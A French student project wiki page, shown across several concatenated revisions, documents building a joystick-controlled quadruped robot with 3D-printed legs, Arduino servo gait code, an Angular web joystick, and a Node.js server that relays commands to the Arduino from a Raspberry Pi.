- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry

- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.

=== Partie mécanique ===

'''Assemblage des pièces''' :

Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.
Nous avons alors, pour chaque patte :

- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre

Voici le rendu des pattes assemblées :

[[Fichier:Pattes.jpg]]

Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).

[[Fichier:Percage.jpg]]

La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.

== Séance supplémentaire 1 ==

=== Partie électronique ===

La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board.

Voici une photo du rendu de l'araignée câblée :

[[Fichier:Araignée.jpg]]

=== Partie informatique ===

C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.
Le code réalisé est donc le suivant:

int delai=300;
//val AD

int ADepauleArriere=100;
int ADepauleAvant=40;
int ADcoudeBas=100;//50
int ADcoudeDroit=30;//100
int ADpoignetPerpendiculaire=70;
int ADpoignetDroit=90;

//val ARG
int ARGepauleArriere=20;
int ARGepauleAvant=80;
int ARGcoudeBas=80;
int ARGcoudeDroit=140;
int ARGpoignetPerpendiculaire=60;
int ARGpoignetDroit=40;

//VAL AG
int AGepauleArriere=40;
int AGepauleAvant=100;
int AGcoudeBas=110;
int AGcoudeDroit=30;//haut
int AGpoignetPerpendiculaire=90;
int AGpoignetDroit=40;
//VAL ARD
int ARDepauleArriere=70;
int ARDepauleAvant=30;
int ARDcoudeBas=100;
int ARDcoudeDroit=30;//haut
int ARDpoignetPerpendiculaire=140;
int ARDpoignetDroit=180;
int i;
int j;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);
}

void loop() {
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);
servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);
servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;
}

Ce code permet à l'araignée d'avancer ses pates de façon "asynchrone" (en réalité, l'asynchronisme est impossible sous arduino).

Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :

int a;
int b;
int aPrint;
int bPrint;
int aMoins,bMoins;
int debut;
char firstVal[50];
char secVal[50];
char byteBuffer;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);

delay(2000);
i=0;
j=25;
Serial.begin(115200);
a=0;
b=0;
aMoins=0;
bMoins=0;
i=0;
debut=1;
byteBuffer='a';
}

void loop() {
if(Serial.available() > 0)
{
while(Serial.available() > 0)
{
delay(10);
byteBuffer = Serial.read();
if(debut==1)
{
if(byteBuffer==',')
{
debut=0;
}
else
{
a=10*a;
switch(byteBuffer)
{
case '-':
a=0;
aMoins=1;
break;
case '1':
a=a+1;
break;
case '2':
a=a+2;
break;
case '3':
a=a+3;
break;
case '4':
a=a+4;
break;
case '5':
a=a+5;
break;
case '6':
a=a+6;
break;
case '7':
a=a+7;
break;
case '8':
a=a+8;
break;
case '9':
a=a+9;
break;
default:
break;
}
}
}
else
{
if(byteBuffer==';')
{
if(aMoins==1)
{
a=-a;
}
if(bMoins==1)
{
b=-b;
}
debut=1;
if(b>0)
{
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);

servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);

servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;

}
aMoins=0;
bMoins=0;
}
else
{
b=10*b;
switch(byteBuffer)
{
case '-':
b=0;
bMoins=1;
break;
case '1':
b=b+1;
break;
case '2':
b=b+2;
break;
case '3':
b=b+3;
break;
case '4':
b=b+4;
break;
case '5':
b=b+5;
break;
case '6':
b=b+6;
break;
case '7':
b=b+7;
break;
case '8':
b=b+8;
break;
case '9':
b=b+9;
break;
default:
break;
}
}
}
}
}
}

== Conclusion ==

En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante.
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...
Voici le rendu vidéo de notre projet :

METTRE LA VIDEO

Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants (QUE NOUS CHOISIRONS!). Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.

Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.

Projet IMA3 P1, 2016/2017, TD2

2017-06-11T22:16:57Z

Nmehanna : /* Partie mécanique */

= Projet IMA3-SC 2016/2017 : Robot quadripode =

== Cahier des charges ==

=== Description du système ===

Notre projet est de réaliser un robot quadripode contrôlé par notre interface web.
Celui ci aura pour objectif de :
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.

Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.

En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.

=== Le matériel ===

Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)
* 12 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .
* Un module wifi pour la raspberry Pi.
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.
* Une breadboard pour tester les circuits .
* Un câble nappe pour raspberry pi .

La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .

== Séance 1 ==

=== Partie électronique ===
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’entendra pas sur les 3 seéances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.

Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionné notre moteur grâce au FPGA.

Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.

[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]

Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.

Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.

Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant "dire" au FPGA que quand notre compteur arrive a 200, il passe à 1. Il reste à 1 jusqu'a la valeur choisie puis passe à 0 jusque 200.

[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]

Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.

[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]

Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.

<center><include iframe src="https://www.youtube.com/embed/g1hDQJHcsJw" width="320px" height="320px" frameborder="0" scrolling="yes"/></center>

=== Partie informatique ===

Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.

Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.

Nous utilisons donc 2 événements :
* lors d'un clic : une variable est mise à jour "mouseIsDown" pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0).
* lors d'un mouvement de la souris si "mouseIsDown" est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.

La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100.
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).

main.js : (définition de l'application et de ses dépendances)

angular.module('spiderApp')
.controller('MainCtrl', function () {
this.awesomeThings = [
'HTML5 Boilerplate',
'AngularJS',
'Karma'
];
});

deplacement.js : (fonctionnement dynamique du joystick de la page web)

angular.module('spiderApp').controller('deplacementCtrl', function($scope) {
$scope.positionX=200;
$scope.positionY=200;
$scope.mouseIsDown=false;
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "absolute",
"height" : "100px"
};
var socket = io.connect('http://172.26.79.4:8080');
$scope.clickDown = function(event){
if($scope.mouseIsDown==false)
{
$scope.mouseIsDown = true;
$scope.positionX = event.target.offsetLeft+(event.offsetX-50);
$scope.positionY = event.target.offsetTop+(event.offsetY-50);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
else
{
$scope.mouseIsDown = false;
$scope.positionX = 200;
$scope.positionY = 200;
console.log($scope.mouseIsDown);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
};
$scope.moveJoystickOutside = function(event) {
if ($scope.mouseIsDown == true) {
window.setTimeout(function() {
ecartX=parseInt(getComputedStyle(joystick).left, 10);
ecartY=parseInt(getComputedStyle(joystick).top, 10);
//on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image
//+20 en Y à cause du footer qui sera toujours de taille constante
positionXProvisoire = event.clientX - ecartX -250;
positionYProvisoire = -(event.clientY - ecartY-330);
console.log("posi prov X: "+positionXProvisoire);
console.log("posi prov Y: "+positionYProvisoire);
//partie dans le cercle
if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) >= 0 && Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) < 1)
{
//50=moitié de la dimension de l'image du bouton avec l'araignée.
//a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.
$scope.positionX=event.clientX-ecartX-50;
$scope.positionY=event.clientY-ecartY-130;
console.log("posi X: "+$scope.positionX);
console.log("posi Y: "+$scope.positionY);
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//partie en dehors du cercle
else
{
hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));
angle=Math.acos(positionXProvisoire/hypothenuse);
if(-(event.clientY - ecartY-330)<0)
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((Math.sin(angle)*100)+200);
}
else
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((-Math.sin(angle)*100)+200);
}
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//attendre un peu pour ne pas embrouiller la transmition du signal
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
}, 10);//delay en millisecondes
}
};
});

!!!!!!!!!!!!!!!!!!!!!!!PHOTO APPLICATION WEB !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

== Séance 2 ==

=== Partie électronique ===

=== Partie mécanique ===

Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances.

- Réalisation des pièces nécessaires à la construction de l'araignée :

Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad :

PHOTO DES PIECES FREECAD

Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces.
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.

=== Partie informatique ===

Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module "serial-port" de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série.
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.

server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)

var express = require('express');
var app = express();
var server = require('http').Server(app);
var io = require('socket.io')(server);
var SerialPort = require("serialport");
var port = new SerialPort("/dev/ttyUSB1",{baudRate: 115200, parity : 'none', autoOpen :false});
app.use(express.static(__dirname+"/../.."));
app.use(express.static(__dirname+"/../../../bower_components/"));
port.open(function (error){
if(error)
{
console.log('Error while opening the port ' + error);
}
else
{
io.on('connection', function(socket) {
console.log('new connection');
socket.on('message', function (message) {
port.write(message, function(err) {
if (err) {
return console.log('Error on write: ', err.message);
}
else
{
console.log('Position : ' + message);
}
});
});
});
}
});
server.listen(8080, function() {
console.log('server up and running at 8080 port');
});

== Séance 3 ==

=== Partie électronique ===

=== Partie informatique ===

envoi des données sur le port série

Configuration de la Raspberry :

- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34
La Raspberry peut ainsi communiquer avec le réseau Polytech

- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry

- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.

=== Partie mécanique ===

'''Assemblage des pièces''' :

Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.
Nous avons alors, pour chaque patte :

- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre

Voici le rendu des pattes assemblées :

[[Fichier:Pattes.jpg]]

Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).

[[Fichier:Percage.jpg]]

La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.

== Séance supplémentaire 1 ==

=== Partie électronique ===

La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board.

Voici une photo du rendu de l'araignée câblée :

[[Fichier:Araignée.jpg]]

=== Partie informatique ===

== Conclusion ==

En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante.
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...
Voici le rendu vidéo de notre projet :

METTRE LA VIDEO

Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants (QUE NOUS CHOISIRONS!). Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.

Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.

Projet IMA3 P1, 2016/2017, TD2

2017-02-27T19:13:02Z

Nmehanna : /* Le matériel */

Projet IMA3 P1, 2016/2017, TD2

2017-02-26T20:05:18Z

Nmehanna : /* Le matériel */